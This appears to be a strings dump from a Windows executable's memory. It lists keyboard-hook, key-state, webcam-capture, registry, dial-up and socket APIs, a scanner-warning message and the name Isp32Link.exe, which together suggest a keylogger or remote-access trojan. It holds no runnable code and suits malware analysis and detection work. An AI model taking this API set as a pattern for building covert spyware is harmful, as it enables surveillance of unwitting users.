\E.Rhj

! Obtain Support and Source Code

,Version: 5.3.0 Build:1055 Date:5/26/99

Submit Bug Report

HorzScrollBar.Visible

VertScrollBar.Visible

(Port IP scanner.Scan detected. IP logged

FtpSerRetrSessionClosed

GetCPInfo

GetProcessHeap

GetWindowsDirectoryA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegEnumKeyExA

RegFlushKey

RegOpenKeyExA

RegQueryInfoKeyA

SetViewportOrgEx

ShellExecuteA

ActivateKeyboardLayout

EnumThreadWindows

EnumWindows

ExitWindowsEx

GetKeyNameTextA

GetKeyState

GetKeyboardLayout

GetKeyboardLayoutList

GetKeyboardState

GetKeyboardType

LoadKeyboardLayoutA

MapVirtualKeyA

MsgWaitForMultipleObjects

SetWindowsHookExA

UnhookWindowsHookEx

.text

`.data

.rdata

P.idata

@.edata

@.rsrc

@.reloc

: 5.3.0A

:5/26/99

KERNEL32.DLL

ADVAPI32.DLL

AVICAP32.DLL

COMCTL32.DLL

GDI32.DLL

MPR.DLL

OLE32.DLL

OLEAUT32.DLL

RASAPI32.DLL

SHELL32.DLL

WINMM.DLL

WSOCK32.DLL

JPEG error #%d

External exception %x

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

Win32 Error. Code: %d.

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted%Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'

Invalid variant operation"Variant method calls not supported

I/O error %d

Integer overflow Invalid floating point operation

Invalid pointer operation

/Menu '%s' is already being used by another form*Windows socket error: %s (%d), on API '%s'

Asynchronous socket error %d

- Dock zone has no control%List does not allow duplicates ($0%x)!'%s' is not a valid integer value

Invalid file name - %s

Unable to insert a line Clipboard does not support Icons

Invalid data type for '%s'

Failed to create key %s

Failed to set data for '%s'

Failed to get data for '%s'

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

$''%s'' is not a valid component name

A class named %s already exists

Error reading %s%s%s: %s

Ancestor for '%s' not found

Scan line index out of range!Cannot change the size of an icon$Unknown picture file extension (.%s)

Unsupported clipboard format

Cannot assign a %s to a %s

Cannot create file %s

Cannot open file %s

Class %s not found

Resource %s not found

List index out of bounds (%d) List capacity out of bounds (%d)

List count out of bounds (%d) Operation not allowed on sorted string list%String list does not allow duplicates#A component named %s already exists

1.0.1.0

Isp32Link.exe

%original file name%.exe_1748_rwx_00401000_000D2000: